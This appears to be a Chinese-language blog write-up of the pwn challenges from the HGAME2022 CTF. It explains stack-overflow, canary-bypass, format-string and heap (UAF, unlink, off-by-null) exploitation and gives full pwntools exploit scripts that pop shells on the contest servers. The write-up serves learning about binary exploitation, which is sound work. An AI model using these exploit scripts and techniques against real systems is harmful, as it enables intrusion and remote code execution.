闲着时就去打了下杭电的 HGAME2022,以为第一周的题目都会蛮简单的,没想到每道题都花了不少功夫,出题人甚至还只是大二学生,顿时感觉到参差了。
 
WEEK1 test_your_gdb 先检查一下保护
 
再看一下程序逻辑
 
动调直接去看加密后的 s2,我们大概停在判断位置处,看一下 s2 即 rsi  的值
 
 
上图显示不全,因为一共要比较 16 个字节:
 
所以 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from  pwn import  *io=remote("chuj.top" ,50610 ) backdoor=0x401256  io.send(p64(0xb0361e0e8294f147 )+p64(0x8c09e0c34ed8a6a9 )) io.recvuntil('enter your pass word\n' ) io.recv(24 ) canary=u64(io.recv(8 )) log.success("canary===>" +hex (canary)) payload='a' *24 +p64(canary)+p64(0 )+p64(backdoor) io.sendline(payload) io.interactive() 
 
enter_the_pwn_land 先检查一下保护:
 
看一下主要函数:
 
 
可以看到不断创造线程进入一个带有栈溢出漏洞的函数,值得注意的是,v3 作为 read 的返回值和 i 作为 s 的参数决定了读入的位置,这两者在覆盖的时候均不应被改变(不断的测试发现 v3 不能变,i 按理说可以变成下一次想读入的位置)。
清楚这一点后,exp 就是普通的 ret2libc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from  pwn import  *io=remote("chuj.top" ,34686 ) elf=ELF("a" ) libc=ELF("libc-2.31.so" ) pop_rdi_ret=0x0000000000401313  call_puts=0x0401090  vul=0x04011BA  ret=0x000000000040101a  payload  = 'a' *0x28 +p32(0 )+p32(0x2c )+p64(0 ) payload += p64(pop_rdi_ret)+p64(0x404028 )+p64(call_puts) payload += p64(vul) io.sendline(payload) setbuf_addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("libc=======>" +hex (libc.sym["setbuf" ])) log.success("setbuf===>" +hex (setbuf_addr)) libc_base=setbuf_addr-libc.sym["setbuf" ] log.success("libc_base==>" +hex (libc_base)) system=libc_base+libc.sym["system" ] binsh=libc_base+next (libc.search('/bin/sh' )) payload  = 'a' *0x28 +p32(0 )+p32(0x2c )+p64(0 ) payload += p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system) io.sendline(payload) io.interactive() 
 
注:打远程的时候发现泄露 read 的函数地址计算基址时会有偏差,所以换了 setbuf 就成了。libc-2.31 也需要栈对齐。
enter_the_evil_pwn_land 题目和上题稍有变化,保护方面多开启了个 canary
 
 
当时的第一个想法是利用 puts 泄露canary,不过回过神来发现 puts 过后就直接检测 canary 了,所以打消这个念头。
记忆中其他绕过 canary 的方法有劫持 _stack_chk_fail ,还有一种就是同时修改 canary 和 TLS 结构体 中预存的 canary。前者一般需要任意写,后者的话印象中没遇到过。不过似乎有一种 stack smash 泄露信息的巧妙方法,这就触发了我的脑洞,会不会,有没有一种可能,TLS 结构体就被布置在了栈 上?况且这道题溢出的空间还不少。
于是我就 gdb 调试了一下,看了一下栈上的信息
 
然后就继续往下找,终于在很远处发现了可疑目标:
 
此时我同时将两处覆盖为aaaaaaaa,发现程序不再报 stack smash 错误,说明我们已经成功绕过了 canary,需要说明的是远程偏移和本地不一样,送过去的数据尽量大就行。
继续打 ret2libc 构造 system(‘/bin/sh’)打不通。
原因不详,猜测是栈结构被我们搞得七零八落的,于是就考虑打 one_gadget。(不知为何 ubuntu16.04 检测 libc-2.31.so 时会报错,18 的就不会)如下:
 
直接打打不通,选择尝试构造条件,因为程序里有 csu 的 gadget,所以将寄存器 r15 和 r12 置零轻而易举:
 
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from  pwn import  *io=remote("chuj.top" ,35225 ) libc=ELF("libc-2.31.so" ) pop_rdi_ret=0x0000000000401363  ret=0x40101a  payload='a' *0x38 +p64(pop_rdi_ret)+p64(0x404030 )+p64(0x4010A0 )+p64(0x4011DA ) payload=payload.ljust(3000 ,'a' ) io.sendline(payload) setbuf_addr=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base=setbuf_addr-libc.sym["setbuf" ] log.success("libc_base===>" +hex (libc_base)) system=libc_base+libc.sym["system" ] binsh=libc_base+next (libc.search('/bin/sh\x00' )) one_gadget=libc_base+0xe6c7e  log.success('system==>' +hex (system)) log.success('binsh===>' +hex (binsh)) payload='a' *0x38 +p64(0x000000000040135c )+p64(0 )*4 +p64(one_gadget) io.sendline(payload) io.interactive() 
 
oldfashion_orw 查看一下保护,NX 开着,看来不是编写 shellcode 题型
 
看一下主函数逻辑
 
有个没检查下限导致的栈溢出。通过这段溢出,构造 orw 链即可。
但这题的 flag 并不叫 flag,我们看一下出题人给的部署文件:
 
 
所以还应先泄露 flag 名称才行,一开始想的是 chroot 逃逸或者 opendir & readdir 之类的手法???虽然我也不会就是了。搞了一天没搞出来就去问了出题人,师傅告诉我就是读目录,目录也是文件 ,忽然想到 “ linux 下一切皆文件” 的理论。
于是直接想着直接 open(“/“) 这样子看能不能直接把目录相关数据用 read 和 write 读出来,但失败了,似乎 read 读不了目录文件?于是就在 64 位系统调用表上找其他系统调用,最后花了半天找到了 ‘getdents’
 
注:该题的 gadget 里没有 syscall,需要我们改 [ prctl ] 为 [ prctl + offset ] syscall 这样子,最后 4bit 为 0XC。
 
该题也有 csu,因此可以构造任意系统调用,exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from  pwn import  *io=remote("chuj.top" ,42614 ) elf=ELF("vuln" ) main=0x401315  context.log_level='debug'  def  csu (rbx, rbp, r15, r12, r13, r14 ):                                       payload = p64(0x40143A ) + p64(rbx) + p64(rbp) + p64(r12) + p64(         r13) + p64(r14) + p64(r15)     payload += p64(0x401420 )     payload += 'A' *0x38      return  payload main=0x401315  pop_rdi_ret=0x0000000000401443  pop_rsi_r15_ret=0x0000000000401441  io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(elf.got["prctl" ])+p64(0 ) payload+=p64(0x4010A0 )+p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,p8(0xc )) bss=0x404088  io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss,0x10 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,"/" ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10 )+p64(0 ) payload+=p64(0x4010A0 )+csu(0 ,1 ,elf.got["prctl" ],bss,0 ,0 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('aa' ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss+0x10 ,78 ) payload+=csu(0 ,1 ,elf.got["prctl" ],3 ,bss,0x300 ) payload+=csu(0 ,1 ,elf.got["write" ],1 ,bss,0x300 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('a' *78 ) io.recvuntil('flag' ) bk=io.recv(20 ) log.success('flag' +bk) bss=0x404088  io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],0 ,bss,0x20 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.sendafter('done!\n' ,'flag' +bk+p64(0 )) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10 )+p64(0 ) payload+=p64(0x4010A0 )+csu(0 ,1 ,elf.got["prctl" ],bss,0 ,0 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.send('aa' ) io.sendafter('size?\n' ,str (-1 )) payload='a' *0x38 +csu(0 ,1 ,elf.got["read" ],4 ,bss,0x80 ) payload+=csu(0 ,1 ,elf.got["write" ],1 ,bss,0x80 ) payload+=p64(main) io.sendafter("content?\n" ,payload) io.interactive() 
 
spfa wp 出来了,任意读漏洞当时是看到了的,就是不知道怎么用算法达到任意写的目的。还有一些细节需要注意,下面细说。
漏洞 
任意读
 
存在于add和spfa内的任意写
 
 
后门函数
 
 
解题思路 
利用任意读泄露 got 表上的地址,获得 libc_base 
利用任意读泄露 _fini_array 上的地址,获得 proc_base 
利用任意读泄露 environ 内的环境变量栈地址,动调计算偏移得到 main 栈的返回地址 
利用任意写将返回地址覆盖为后门函数 
 
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from  pwn import  *from  pwnlib.util.iters import  mbruteforceio=process("./spfa" ) elf=ELF("spfa" ) libc=ELF("libc-2.31.so" ) def  brute ():    io.recvuntil(') == ' )     hash_code = io.recvuntil('\n' , drop=True ).decode().strip()     log.success('hash_code={},' .format (hash_code))     charset = string.printable     proof = mbruteforce(lambda  x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' )     io.sendlineafter('????> ' , proof) io.sendlineafter("datas?\n>> " , str (4 )) io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str (-((elf.sym["dist" ]-elf.got["setbuf" ])//8 ))) io.recvuntil(">> the length of the shortest path is " ) setbuf=int (io.recv(15 ),10 ) libc_base=setbuf-libc.sym["setbuf" ] log.success("libc_base===>" +hex (libc_base)) _fini_array=0x6D28  io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str (-(elf.sym['dist' ]-_fini_array)//8 )) io.recvuntil(">> the length of the shortest path is " ) proc_base=int (io.recv(14 ),10 )-0x12e0  log.success("proc_base===>" +hex (proc_base)) envir=libc_base+libc.sym["environ" ] dist=proc_base+elf.sym["dist" ] io.sendline(str (1 )) io.sendline(str (0 )) io.sendline(str (0 )) io.sendline(str ((envir-dist)//8 )) io.recvuntil(">> the length of the shortest path is " ) env_stack=int (io.recv(15 ),10 ) log.success("env_stack===>" +hex (env_stack)) ret_id=(env_stack-0x100 -dist)//8  backdoor=proc_base+0x16AA  io.sendline(str (2 )) io.sendline(str (1 )) io.sendline("0 " +str (ret_id)+" " +str (backdoor)) io.sendline(str (0 )) io.sendline(str (0 )) io.interactive() 
 
 
题目质量都好高,但这几天打这个比赛都没复习高数了,之后的 week 题就不打了,但要复盘。
WEEK2 blind 一道盲打题,首先告诉了我们 write 的 libc 地址,我们便能利用LibcSearcher获取 libc。
 
然后程序告诉我们可以打开一个文件,这里需要我们了解一个新的知识点:Linux 内核提供了一种通过 /proc  文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件 系统,它只存在内存当中,而不占用外存空间。读取 /proc/self/maps  可以得到当前进程的内存映射关系 ,通过读该文件的内容可以得到内存代码段基址 。/proc/self/mem  是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存 。该文件不能直接读取,需要结合 maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
程序给了我们libc基址,因此我们只需打开/proc/self/mem文件,打开后,程序让我们输入一个地址进行篡改,因为 main 函数 ret 时返回的是__libc_start_main,因此我们篡改该内存即可(直接写内存绕开了 libc 文件不可写的防护 )。
 
但因为 main 函数 ret 的是 libc_start_main+???  而不是 libc_start_main+0,所以我们需要足够多的 nop 来覆盖到 libc_start_main+???,令其滑倒在 shellcode 上。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *from  LibcSearcher import  *from  pwnlib.util.iters import  mbruteforceimport  itertoolsimport  base64context.log_level='debug'  context.arch='amd64'  io=remote("chuj.top" ,51916 ) def  brute ():    io.recvuntil(') == ' )     hash_code = io.recvuntil('\n' , drop=True ).decode().strip()     log.success('hash_code={},' .format (hash_code))     charset = string.printable     proof = mbruteforce(lambda  x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' )     io.sendlineafter('????> ' , proof) brute() io.recvuntil(': 0x' ) write=int (io.recv(12 ),16 ) libc=LibcSearcher('write' ,write) libc_base=write-libc.dump('write' ) log.success('libc_base===>' +hex (libc_base)) __libc_start_main=libc_base+libc.dump('__libc_start_main' ) io.sendlineafter(">> " ,'/proc/self/mem\x00' ) io.sendlineafter(">> " , str (__libc_start_main)) payload=asm(shellcraft.sh()).rjust(0x300 ,asm('nop' )) io.sendline(payload) io.interactive() 
 
echo_server 在堆上构造栈的 fmt 链子的题目,总算有机会复盘一遍了,确实麻烦。
 
程序逻辑很简单,就是一个不断循环的格式化字符串漏洞。
首先我们动调看一下栈的结构:
 
通过格式化字符串我们可以泄露出rbp和libc:
1 2 3 4 5 6 7 8 9 10 11 12 def  input (content ):    io.sendlineafter(">> " ,str (len (content)))     io.send(content) input ("%6$p-%13$p" )io.recvuntil("0x" ) rbp=int (io.recv(12 ),16 ) log.success("rbp={}" .format (hex (rbp))) io.recvuntil("0x" ) libc_base=int (io.recv(12 ),16 )-libc.sym["__libc_start_main" ]-243  log.success("libc_base={}" .format (hex (libc_base))) __free_hook=libc_base+libc.sym["__free_hook" ] system=libc_base+libc.sym["system" ] 
 
因为 realloc 的size位为 0 时等同于 free,因此接下来我们选择在栈上构造 __free_hook。
如何构造就需要用到 rbp 链了:
 
1 2 3 4 __libc_start_main_in_stack=(rbp & 0xFF )+0x18  log.success("__libc_start_main_in_stack:" +hex (__libc_start_main_in_stack)) payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) input (payload)
 
此时我们选择先构造中间俩字节,所以将 rbp 修改为目标地址+2处
 
然后我们利用格式化字符串,将 rbp 指向处写入 __free_hook 对应的 2 个字节:
1 2 payload="%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) input (payload)
 
 
重复上述步骤我们同理可以修改最后两个字节:
1 2 3 4 payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack) input (payload)payload="%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) input (payload)
 
 
这样我们在栈上就有了__free_hook,重复上述步骤,通过利用当前 rbp 修改写入位置,我们便能将__free_hook劫持为system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload="%{}c%13$hn\n" .format ((system) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 2  & 0xFFFF ) input (payload)payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 4  & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) input (payload)
 
 
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from  pwn import  *io=process("./echo" ) libc=ELF("libc-2.31.so" ) def  input (content ):    io.sendlineafter(">> " ,str (len (content)))     io.send(content) gdb.attach(io) input ("%6$p-%13$p" )io.recvuntil("0x" ) rbp=int (io.recv(12 ),16 ) log.success("rbp={}" .format (hex (rbp))) io.recvuntil("0x" ) libc_base=int (io.recv(12 ),16 )-libc.sym["__libc_start_main" ]-243  log.success("libc_base={}" .format (hex (libc_base))) __free_hook=libc_base+libc.sym["__free_hook" ] system=libc_base+libc.sym["system" ] __libc_start_main_in_stack=(rbp & 0xFF )+0x18  log.success("__libc_start_main_in_stack:" +hex (__libc_start_main_in_stack)) payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) input (payload)payload="%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%6$hhn\n" .format (__libc_start_main_in_stack) input (payload)payload="%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 2  & 0xFFFF ) input (payload)payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) input (payload)payload="%{}c%10$hn\n" .format (__free_hook + 4  & 0xFFFF ) input (payload)payload="%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) input (payload)gdb.attach(io) input ("/bin/sh\x00" )io.sendline(str (0 )) io.interactive() 
 
WEEK3 elder_note  
libc2.23 下的 UAF ,最大可申请 0x100 大小的 chunk,所以通过 unsorted bin leak 便能泄露出 libc。通过 double free 将 chunk 分配到&_malloc_hook-0x23处。但因为无法满足 one_gadget 的条件,所以配合&_realloc_hook 调整栈帧,即将&_malloc_hook劫持为&realloc+?,再将&_realloc_hook劫持为 one_gadget。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from  pwn import  *sh = process("./note" ) libc = ELF("./libc-2.23.so" ) def  add (index, size, content ):    sh.sendlineafter(">> " , "1" )     sh.sendlineafter(">> " , str (index))     sh.sendlineafter(">> " , str (size))     sh.sendafter(">> " , content) def  show (index ):    sh.sendlineafter(">> " , "2" )     sh.sendlineafter(">> " , str (index)) def  delete (index ):    sh.sendlineafter(">> " , "3" )     sh.sendlineafter(">> " , str (index))      add(0x0 , 0x100 , "A" *0x100 ) add(0x1 , 0x68 , "B" *0x68 ) add(0x2 , 0x68 , "B" *0x68 ) delete(0 ) show(0 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["__malloc_hook" ] - 0x68   __malloc_hook = libc_base + libc.sym["__malloc_hook" ] __realloc_hook = libc_base + libc.sym["__realloc_hook" ] system = libc_base + libc.sym["system" ] one_gadget = libc_base + 0x4527a  realloc = libc_base + libc.sym["__libc_realloc" ] log.success("libc_base: "  + hex (libc_base)) delete(1 ) delete(2 ) delete(1 ) add(0 , 0x68 , p64(__malloc_hook - 0x23 )) add(0 , 0x68 , '\n' ) add(0 , 0x68 , '\n' ) add(0 , 0x68 , 'a'  * 0xb  + p64(one_gadget) + p64(realloc + 0x10 )) sh.sendlineafter(">> " , "1" ) sh.sendlineafter(">> " , str (0 )) sh.sendlineafter(">> " , str (0 )) sh.interactive() 
 
changeable_note  
edit 里有个溢出函数gets,因此可以构造 unlink 改写 notes 数组的内容为想要的地址&_free_hook,然后再将目标函数篡改为system。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from  pwn import  *sh = process("./note" ) elf = ELF("./note" ) libc = ELF("./libc-2.23.so" ) def  add (index, size, content ):    sh.sendlineafter(">> " , "1" )     sh.sendlineafter(">> " , str (index))     sh.sendlineafter(">> " , str (size))     sh.sendafter(">> " , content)      def  edit (index, payload ):    sh.sendlineafter(">> " , "2" )     sh.sendafter(">> " , str (index).ljust(8 , '\x00' ))     sh.send(payload) def  delete (index ):    sh.sendlineafter(">> " , "3" )     sh.sendlineafter(">> " , str (index)) note_addr = 0x4040C0  add(0 , 0x20 , '\n' ) add(1 , 0x20 , '\n' ) add(2 , 0x100 , '\n' ) add(3 , 0x20 , '\n' ) payload = p64(0 ) + p64(0x21 ) + p64(note_addr + 8  - 0x18 ) + p64(note_addr + 8  - 0x10 ) payload += p64(0x20 ) + p64(0x110 ) payload += '\n'  edit(1 , payload) delete(2 ) payload = p64(0 ) * 2  + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(elf.got['atoi' ]) + p64(note_addr) + '\n'  edit(1 , payload) edit(0 , p64(elf.sym['puts' ])[:-1 ] + '\n' ) delete(1 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["puts" ] system = libc_base + libc.sym["system" ] log.success("libc_base: "  + hex (libc_base)) edit(2 , p64(system)[:-1 ] + '\n' ) sh.sendlineafter(">> " , '/bin/sh\x00' ) sh.interactive() 
 
sized_note libc2.27 的 off-by-null 模板题。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from  pwn import  *sh = process("./note" ) libc = ELF("./libc-2.27.so" ) def  add (index, size, content ):    sh.sendlineafter(">> " , "1" )     sh.sendlineafter(">> " , str (index))     sh.sendlineafter(">> " , str (size))     sh.sendafter(">> " , content)      def  show (index ):    sh.sendlineafter(">> " , "2" )     sh.sendlineafter(">> " , str (index))      def  delete (index ):    sh.sendlineafter(">> " , "3" )     sh.sendlineafter(">> " , str (index))      def  edit (index, payload ):    sh.sendlineafter(">> " , "4" )     sh.sendafter(">> " , str (index).ljust(8 , '\x00' ))     sh.send(payload)      for  i in  range (0 , 11 ):    add(i, 0xF8 , "a" *0xF7 )      add(12 , 0x60 , '\n' ) for  i in  range (3 , 10 ):    delete(i)      delete(0 ) edit(1 , 'a'  * 0xF0  + p64(0x200 )) delete(2 ) add(0 , 0x78 , "\n" ) add(0 , 0x78 , "\n" ) show(1 ) libc_base = u64(sh.recv(6 ).ljust(8 , '\x00' )) - libc.sym["__malloc_hook" ] - 0x10  - 0x60  log.success("libc_base={}" .format (hex (libc_base))) __free_hook = libc_base + libc.sym["__free_hook" ] system = libc_base + libc.sym["system" ] add(0 , 0x60 , '\n' ) delete(12 ) delete(0 ) edit(1 , p64(__free_hook)) add(1 , 0x60 , '/bin/sh\x00' ) add(2 , 0x60 , p64(system)) delete(1 ) sh.interactive()